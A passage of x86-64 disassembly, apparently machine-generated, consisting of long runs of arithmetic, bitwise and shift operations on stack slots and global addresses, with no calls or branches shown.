movzx eax, word [rsp + 0xc3c]
movzx ecx, word [str.__v83]
and eax, ecx
mov word [0x140114400], ax
movzx eax, word [rsp + 0xaa0]
movzx ecx, word [rsp + 0xa98]
add eax, ecx
mov rcx, qword [rsp + 0x5148]
mov word [rcx], ax
movsx eax, byte [rsp + 0x155]
movsx ecx, byte [rsp + 0x3f]
sub eax, ecx
mov rcx, qword [rsp + 0x6078]
mov byte [rcx], al
lea rax, [0x140113048]
mov qword [rsp + 0x7e00], rax
mov rax, qword [rsp + 0x64e8]
mov rcx, qword [rsp + 0x7300]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2d28], eax
mov rax, qword [rsp + 0x7050]
mov qword [rsp + 0x7e08], rax
mov rax, qword [rsp + 0x5180]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6268]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6ea8], rax
mov rax, qword [rsp + 0x5c08]
mov eax, dword [rax]
mov dword [rsp + 0x30b8], eax
movzx eax, byte [rsp + 0x105]
mov rcx, qword [rsp + 0x7bb0]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x18a], al
movzx eax, word [rsp + 0xbb4]
mov word [0x1401147ec], ax
mov rax, qword [0x1401146f8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x68d8]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0xbc], al
lea rax, [rsp + 0xa74]
mov qword [rsp + 0x7e10], rax
movsx eax, byte [rsp + 0x104]
mov rcx, qword [0x1401145b8]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x185], al
mov rax, qword [rsp + 0x6460]
mov rax, qword [rax]
mov qword [rsp + 0x7e18], rax
mov eax, dword [rsp + 0x2b98]
mov rcx, qword [rsp + 0x7a88]
mov qword [rsp + 0x7e20], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7e20]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x7b20]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2cd0]
mov ecx, dword [rsp + 0x2fc0]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6c50]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4ba8]
mov rax, qword [rax]
mov qword [rsp + 0x7e28], rax
mov rax, qword [rsp + 0x7dd8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x131]
add eax, ecx
mov rcx, qword [rsp + 0x5740]
mov byte [rcx], al
movzx eax, word [rsp + 0x908]
mov rcx, qword [rsp + 0x77c0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401146d0], ax
lea rax, [rsp + 0x192]
mov qword [rsp + 0x7e30], rax
mov rax, qword [rsp + 0x6768]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7b48]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x194], al
movsx eax, word [rsp + 0xbcc]
mov rcx, qword [0x1401141c0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x51b8]
mov word [rcx], ax
movzx eax, word [rsp + 0xc9c]
mov word [rsp + 0xe78], ax
mov rax, qword [rsp + 0x5e60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3054]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2da8], eax
lea rax, [rsp + 0x4fc8]
mov qword [rsp + 0x7e38], rax
mov rax, qword [rsp + 0x7858]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2b48]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2d88], eax
mov rax, qword [rsp + 0x75c8]
mov rax, qword [rax]
mov qword [rsp + 0x7e40], rax
movsx eax, byte [rsp + 0x153]
mov rcx, qword [0x140114468]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x14011309e], al
movzx eax, word [rsp + 0xa64]
mov rcx, qword [rsp + 0x6120]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xad0], ax
movzx eax, byte [rsp + 0x103]
mov rcx, qword [rsp + 0x6468]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x5e], al
mov rax, qword [rsp + 0x69b0]
movzx eax, byte [rax]
mov byte [rsp + 0x19a], al
mov rax, qword [rsp + 0x53d0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x74c8]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x4c98]
mov word [rcx], ax
mov eax, dword [rsp + 0x2fd4]
mov dword [rsp + 0x30bc], eax
mov rax, qword [rsp + 0x4f78]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x7e40]
shl rax, cl
mov rcx, qword [rsp + 0x61d8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x69c0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2b8c]
shr eax, cl
mov dword [rsp + 0x2a98], eax
lea rax, [rsp + 0x56d8]
mov qword [rsp + 0x7e48], rax
mov rax, qword [rsp + 0x7d60]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5b70]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [0x14011309f], al
mov rax, qword [rsp + 0x57b0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x149]
and eax, ecx
mov byte [rsp + 0x9b], al
movzx eax, word [rsp + 0x8c4]
mov word [rsp + 0xe7c], ax
movzx eax, word [0x1401130e4]
movzx ecx, word [rsp + 0xa68]
add eax, ecx
mov word [rsp + 0xad0], ax
mov rax, qword [rsp + 0x4bc0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xa74]
add eax, ecx
mov rcx, qword [rsp + 0x72e0]
mov word [rcx], ax
mov rax, qword [rsp + 0x72f8]
mov eax, dword [rax]
mov dword [rsp + 0x30c0], eax
mov rax, qword [rsp + 0x5838]
mov rcx, qword [rsp + 0x54c8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7ce8], rax
mov rax, qword [rsp + 0x57d8]
mov rax, qword [rax]
mov qword [rsp + 0x7e50], rax
mov rax, qword [rsp + 0x4b88]
mov rcx, qword [rsp + 0x5080]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2c34], eax
movsx eax, byte [rsp + 0xb5]
movsx ecx, byte [rsp + 0x37]
sub eax, ecx
mov byte [0x140113002], al
mov rax, qword [rsp + 0x4cc0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x63a0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6948]
mov byte [rcx], al
lea rax, [rsp + 0xdd0]
mov qword [rsp + 0x7e58], rax
movsx eax, word [0x140114210]
movsx ecx, word [rsp + 0xb78]
and eax, ecx
mov word [rsp + 0xd8c], ax
lea rax, [rsp + 0x141]
mov qword [rsp + 0x7e60], rax
mov rax, qword [rsp + 0x7e48]
mov rcx, qword [rsp + 0x5e50]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x6368]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2d44]
mov dword [rsp + 0x30c4], eax
mov rax, qword [rsp + 0x7d68]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2cd0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x2e60], eax
mov rax, qword [rsp + 0x6de0]
movzx ecx, al
mov rax, qword [rsp + 0x6b80]
shl rax, cl
mov rcx, qword [rsp + 0x4f90]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6a38]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7e30]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [0x140114500]
mov byte [rcx], al
lea rax, [rsp + 0x6f]
mov qword [rsp + 0x7e68], rax
mov rax, qword [rsp + 0x54b8]
movsx eax, word [rax]
movsx ecx, word [0x1401147ec]
xor eax, ecx
mov rcx, qword [rsp + 0x5bf0]
mov word [rcx], ax
lea rax, [rsp + 0x9f0]
mov qword [rsp + 0x7e70], rax
movzx eax, word [rsp + 0xdbc]
mov rcx, qword [rsp + 0x7590]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x99c], ax
mov rax, qword [rsp + 0x58d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6b00]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6908]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7780]
mov eax, dword [rax]
mov dword [rsp + 0x30c8], eax
mov rax, qword [rsp + 0x7070]
mov rcx, qword [rsp + 0x5910]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x6258]
mov qword [rcx], rax
lea rax, [0x140114150]
mov qword [rsp + 0x7e78], rax
lea rax, [rsp + 0x94]
mov qword [0x1401147f0], rax
movsx eax, word [rsp + 0xae8]
mov rcx, qword [rsp + 0x6098]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x924], ax
mov rax, qword [rsp + 0x6b60]
movzx eax, byte [rax]
movzx ecx, byte [0x1401141bb]
sub eax, ecx
mov rcx, qword [rsp + 0x6ed8]
mov byte [rcx], al
movzx eax, word [rsp + 0xa8c]
mov word [rsp + 0xe80], ax
movzx eax, byte [rsp + 0x75]
movzx ecx, byte [rsp + 0x48]
sub eax, ecx
mov byte [rsp + 0x139], al
mov rax, qword [rsp + 0x79e0]
mov rax, qword [rax]
mov qword [rsp + 0x7e80], rax
mov rax, qword [rsp + 0x5f70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2d98]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x75e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6630]
mov qword [rsp + 0x7e88], rax
mov rax, qword [rsp + 0x51e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2b58]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2e88], eax
mov rax, qword [rsp + 0x6eb0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7968]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x140114438]
mov byte [rcx], al
mov rax, qword [rsp + 0x7b88]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x77c0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x9fc], ax
mov rax, qword [0x140114730]
movzx eax, byte [rax]
mov byte [rsp + 0x19b], al
mov rax, qword [rsp + 0x76a8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe58]
shl eax, cl
mov rcx, qword [rsp + 0x65d8]
mov word [rcx], ax
lea rax, [rsp + 0x13a]
mov qword [rsp + 0x7e90], rax
mov rax, qword [rsp + 0x4d68]
mov rcx, qword [rsp + 0x7b70]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x5040], rax
mov rax, qword [rsp + 0x7698]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2d24]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x3088], eax
mov eax, dword [rsp + 0x2cfc]
mov dword [rsp + 0x30cc], eax
mov rax, qword [rsp + 0x6958]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4c90]
mov qword [rsp + 0x7e98], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7e98]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x62e0], rax
mov rax, qword [rsp + 0x7d40]
movzx eax, byte [rax]
mov byte [0x140114285], al
lea rax, [rsp + 0x88]
mov qword [rsp + 0x7ea0], rax
movzx eax, word [rsp + 0xd34]
movzx ecx, word [rsp + 0xc68]
add eax, ecx
mov rcx, qword [rsp + 0x77c0]
mov word [rcx], ax
mov rax, qword [rsp + 0x6370]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xaf4]
add eax, ecx
mov word [rsp + 0xd90], ax
lea rax, [rsp + 0x98c]
mov qword [rsp + 0x7ea8], rax
mov rax, qword [rsp + 0x5fd0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7380]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x51b0], rax
mov rax, qword [rsp + 0x7160]
mov rax, qword [rax]
mov qword [rsp + 0x7eb0], rax
mov rax, qword [rsp + 0x4fb8]
mov rcx, qword [rsp + 0x6a18]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2bc0], eax
mov rax, qword [rsp + 0x6e10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x30cc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5728]
mov dword [rcx], eax
movzx eax, byte [rsp + 0xc9]
mov byte [rsp + 0x19c], al
lea rax, [rsp + 0xce4]
mov qword [0x1401147f8], rax
mov rax, qword [rsp + 0x5240]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6878]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xa5], al
mov rax, qword [rsp + 0x7c60]
movzx eax, word [rax]
mov word [rsp + 0xe84], ax
mov rax, qword [rsp + 0x5868]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6970]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xa2], al
lea rax, [rsp + 0x2c38]
mov qword [rsp + 0x7eb8], rax
mov rax, qword [rsp + 0x7a28]
mov rcx, qword [rsp + 0x7160]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x57e8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x54a8]
mov rcx, qword [rsp + 0x5610]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x6b78]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2cbc]
mov dword [rsp + 0x30d0], eax
mov rax, qword [rsp + 0x4e38]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x904]
sub eax, ecx
mov word [rsp + 0x95c], ax
mov rax, qword [rsp + 0x79f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x11d]
sub eax, ecx
mov rcx, qword [0x140114340]
mov byte [rcx], al
lea rax, [rsp + 0xdd8]
mov qword [rsp + 0x7ec0], rax
movzx eax, word [rsp + 0xdcc]
mov rcx, qword [rsp + 0x5f80]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xc58], ax
movzx eax, byte [rsp + 0x109]
mov rcx, qword [rsp + 0x7100]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x5b00]
mov byte [rcx], al
mov eax, dword [rsp + 0x2c7c]
mov dword [rsp + 0x30d4], eax
mov rax, qword [rsp + 0x5fd0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x6790]
sar rax, cl
mov rcx, qword [rsp + 0x7688]
mov qword [rcx], rax
lea rax, [rsp + 0x2c8c]
mov qword [rsp + 0x7ec8], rax
mov rax, qword [rsp + 0x7390]
mov rcx, qword [rsp + 0x6938]
mov qword [rsp + 0x7ed0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7ed0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x78c8], rax
movzx eax, word [0x1401130b0]
mov rcx, qword [rsp + 0x77c0]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x76e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x5a58]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x15d]
sub eax, ecx
mov rcx, qword [0x1401147a0]
mov byte [rcx], al
lea rax, [rsp + 0x49]
mov qword [rsp + 0x7ed8], rax
mov rax, qword [0x140114520]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x101]
add eax, ecx
mov byte [rsp + 0x30], al
mov rax, qword [rsp + 0x7240]
movzx eax, word [rax]
mov word [rsp + 0xe88], ax
mov rax, qword [rsp + 0x79d0]
mov rcx, qword [rsp + 0x5898]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x5ab8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7000]
mov rcx, qword [rsp + 0x6538]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x5930]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6090]
mov rax, qword [rax]
mov qword [rsp + 0x7ee0], rax
mov rax, qword [rsp + 0x5bc8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2fa8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x57f8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x75a8]
movzx eax, word [rax]
mov word [rsp + 0xe8c], ax
lea rax, [rsp + 0xc30]
mov qword [0x140114800], rax
movsx eax, byte [rsp + 0x6f]
mov rcx, qword [rsp + 0x7930]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6c68]
mov byte [rcx], al
lea rax, [rsp + 0xca8]
mov qword [rsp + 0x7ee8], rax
movzx eax, byte [rsp + 0xa9]
mov rcx, qword [rsp + 0x5600]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xa8], al
movsx eax, word [rsp + 0xd40]
mov rcx, qword [rsp + 0x7aa8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5ee8]
mov word [rcx], ax
mov rax, qword [rsp + 0x7530]
mov qword [rsp + 0x7ef0], rax
mov eax, dword [rsp + 0x3040]
mov ecx, dword [rsp + 0x2eec]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5c40]
mov dword [rcx], eax
lea rax, [rsp + 0x2fe0]
mov qword [rsp + 0x7ef8], rax
mov rax, qword [rsp + 0x64b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4fd8]
mov qword [rsp + 0x7f00], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7f00]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x4fa0], rax
mov rax, qword [rsp + 0x6028]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5470]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [0x140113033], al
movzx eax, word [rsp + 0xd80]
mov rcx, qword [rsp + 0x5148]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x5a28]
mov word [rcx], ax
movzx eax, byte [rsp + 0xff]
mov byte [rsp + 0x19d], al
movzx eax, word [rsp + 0xadc]
movzx ecx, word [rsp + 0x964]
and eax, ecx
mov word [rsp + 0xe18], ax
lea rax, [rsp + 0x132]
mov qword [rsp + 0x7f08], rax
mov rax, qword [rsp + 0x7820]
mov rax, qword [rax]
mov rcx, qword [0x140114160]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7ce8], rax
mov rax, qword [rsp + 0x7568]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2d50]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7b58]
mov dword [rcx], eax
lea rax, [rsp + 0x64a8]
mov qword [rsp + 0x7f10], rax
mov eax, dword [rsp + 0x2e3c]
mov ecx, dword [rsp + 0x2f74]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5b68]
mov dword [rcx], eax
lea rax, [rsp + 0xe10]
mov qword [0x140114808], rax
mov rax, qword [rsp + 0x6358]
movzx eax, word [rax]
mov word [rsp + 0xe90], ax
movzx eax, byte [rsp + 0x16f]
mov rcx, qword [rsp + 0x6138]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xcb], al
lea rax, [rsp + 0x160]
mov qword [rsp + 0x7f18], rax
movsx eax, word [rsp + 0xbb4]
movsx ecx, word [rsp + 0xc70]
and eax, ecx
mov rcx, qword [rsp + 0x4ef0]
mov word [rcx], ax
mov rax, qword [rsp + 0x5000]
mov rcx, qword [rsp + 0x7c90]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x5ad0], rax
lea rax, [rsp + 0x2f3c]
mov qword [rsp + 0x7f20], rax
mov rax, qword [rsp + 0x7030]
mov rcx, qword [rsp + 0x6b98]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2d1c], eax
mov rax, qword [rsp + 0x6f68]
mov rax, qword [rax]
mov qword [rsp + 0x7f28], rax
mov rax, qword [rsp + 0x6f70]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7a00]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14011313c], ax
movsx eax, word [rsp + 0xd9c]
mov rcx, qword [rsp + 0x6290]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x8e0], ax
movsx eax, byte [rsp + 0x98]
movsx ecx, byte [rsp + 0x115]
or eax, ecx
mov rcx, qword [rsp + 0x60d0]
mov byte [rcx], al
mov rax, qword [rsp + 0x6628]
movzx eax, byte [rax]
mov byte [rsp + 0x19e], al
movsx eax, byte [rsp + 0x61]
movsx ecx, byte [0x14011304b]
shl eax, cl
mov rcx, qword [rsp + 0x6c20]
mov byte [rcx], al
lea rax, [rsp + 0x2e3c]
mov qword [rsp + 0x7f30], rax
mov rax, qword [rsp + 0x6230]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7ee0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x6428], rax
mov rax, qword [rsp + 0x53c0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x73c8]
sar rax, cl
mov qword [rsp + 0x4fc8], rax
lea rax, [rsp + 0x2cdc]
mov qword [rsp + 0x7f38], rax
movsx eax, word [rsp + 0xb14]
movsx ecx, word [rsp + 0xe88]
and eax, ecx
mov word [0x140113014], ax
movsx eax, byte [rsp + 0x137]
mov rcx, qword [rsp + 0x5268]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7d28]
mov byte [rcx], al
lea rax, [rsp + 0xd9]
mov qword [rsp + 0x7f40], rax
movzx eax, word [rsp + 0x8b0]
mov rcx, qword [rsp + 0x5850]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x73b8]
mov word [rcx], ax
mov rax, qword [rsp + 0x5528]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x9c4]
sub eax, ecx
mov rcx, qword [rsp + 0x74d0]
mov word [rcx], ax
mov rax, qword [rsp + 0x78c8]
mov qword [rsp + 0x7f48], rax
mov rax, qword [rsp + 0x59f8]
mov rcx, qword [rsp + 0x6d20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7588], rax
mov rax, qword [rsp + 0x6a90]
mov eax, dword [rax]
mov dword [rsp + 0x30d8], eax
mov rax, qword [rsp + 0x7f20]
mov ecx, dword [rsp + 0x2f20]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x52c8]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x14b]
movzx ecx, byte [rsp + 0x121]
and eax, ecx
mov byte [0x1401130a2], al
movzx eax, byte [rsp + 0x51]
mov byte [rsp + 0x19f], al
movzx eax, word [rsp + 0x9c0]
movzx ecx, word [rsp + 0xbe8]
add eax, ecx
mov word [rsp + 0xbfc], ax
mov rax, qword [rsp + 0x5810]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x61e8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x870], ax
mov rax, qword [0x140114350]
movzx eax, word [rax]
mov word [rsp + 0xe94], ax
mov rax, qword [rsp + 0x6218]
mov rcx, qword [rsp + 0x5a88]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4fd8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6a68]
mov eax, dword [rax]
mov dword [rsp + 0x30dc], eax
mov eax, dword [rsp + 0x2f40]
mov rcx, qword [rsp + 0x7b58]
mov qword [rsp + 0x7f50], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7f50]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x6828]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6be8]
mov rcx, qword [rsp + 0x6860]
mov qword [rsp + 0x7f58], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7f58]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x7f48], rax
mov rax, qword [rsp + 0x6da8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x155]
xor eax, ecx
mov byte [0x14011301b], al
mov rax, qword [0x1401144e8]
movzx eax, word [rax]
mov word [rsp + 0xe98], ax
mov rax, qword [rsp + 0x50a8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xce]
or eax, ecx
mov byte [rsp + 0x135], al
mov rax, qword [rsp + 0x6290]
movzx eax, word [rax]
mov word [rsp + 0xe9c], ax
mov rax, qword [0x1401147b8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6468]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x7bb0]
mov byte [rcx], al
mov rax, qword [rsp + 0x7280]
mov ecx, dword [rsp + 0x2fa4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2eb0], eax
lea rax, [rsp + 0x3028]
mov qword [rsp + 0x7f60], rax
mov rax, qword [rsp + 0x6b58]
mov rcx, qword [rsp + 0x7560]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4ce8], rax
lea rax, [rsp + 0x7e28]
mov qword [rsp + 0x7f68], rax
lea rax, [rsp + 0x55]
mov qword [0x140114810], rax
mov rax, qword [rsp + 0x5cb0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x12c]
add eax, ecx
mov rcx, qword [rsp + 0x76c0]
mov byte [rcx], al
mov rax, qword [rsp + 0x76a8]
movzx eax, word [rax]
mov word [rsp + 0xea0], ax
mov rax, qword [rsp + 0x6988]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd1c]
sub eax, ecx
mov rcx, qword [rsp + 0x5720]
mov word [rcx], ax
movzx eax, byte [rsp + 0x6d]
movzx ecx, byte [0x1401141be]
sub eax, ecx
mov rcx, qword [rsp + 0x7330]
mov byte [rcx], al
mov rax, qword [rsp + 0x7370]
mov qword [rsp + 0x7f70], rax
mov rax, qword [rsp + 0x5e38]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5320]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7230], rax
mov eax, dword [rsp + 0x2c08]
mov dword [rsp + 0x30e0], eax
mov eax, dword [rsp + 0x2ba4]
mov ecx, dword [rsp + 0x307c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x305c], eax
movsx eax, word [rsp + 0xcd0]
mov rcx, qword [rsp + 0x55e8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xd4c], ax
mov rax, qword [rsp + 0x5cd8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7ed8]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [0x14011304a], al
movzx eax, word [rsp + 0xe18]
mov word [rsp + 0xea4], ax
mov rax, qword [rsp + 0x7c78]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x10b]
or eax, ecx
mov rcx, qword [rsp + 0x7e60]
mov byte [rcx], al
movzx eax, word [0x140114698]
mov word [rsp + 0xea8], ax
mov rax, qword [rsp + 0x7320]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6b50]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7690]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5520]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x7540]
mov qword [rsp + 0x7f78], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7f78]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x2b80], eax
lea rax, [rsp + 0x2e68]
mov qword [rsp + 0x7f80], rax
mov rax, qword [rsp + 0x7518]
mov rcx, qword [rsp + 0x7500]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x70b0], rax
movzx eax, byte [rsp + 0xf4]
mov byte [rsp + 0x1a0], al
mov rax, qword [rsp + 0x75d8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x115]
and eax, ecx
mov rcx, qword [0x140114200]
mov byte [rcx], al
mov rax, qword [rsp + 0x6b48]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7b88]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5130]
mov word [rcx], ax
mov rax, qword [rsp + 0x5d88]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x61e0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x4b], al
movzx eax, word [rsp + 0xa18]
mov word [rsp + 0xeac], ax
mov rax, qword [rsp + 0x59a8]
mov rcx, qword [rsp + 0x5f50]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x6d20], rax
mov eax, dword [rsp + 0x2d74]
mov dword [rsp + 0x30e4], eax
mov rax, qword [rsp + 0x7160]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x55d0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x66b0]
mov qword [rcx], rax
lea rax, [rsp + 0x2f58]
mov qword [rsp + 0x7f88], rax
mov rax, qword [rsp + 0x5170]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4b68]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6708]
mov word [rcx], ax
lea rax, [0x140114226]
mov qword [0x140114818], rax
mov rax, qword [rsp + 0x53a8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x19f]
add eax, ecx
mov rcx, qword [rsp + 0x50f8]
mov byte [rcx], al
lea rax, [rsp + 0x890]
mov qword [rsp + 0x7f90], rax
mov rax, qword [rsp + 0x6628]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5f18]
movzx ecx, byte [rcx]
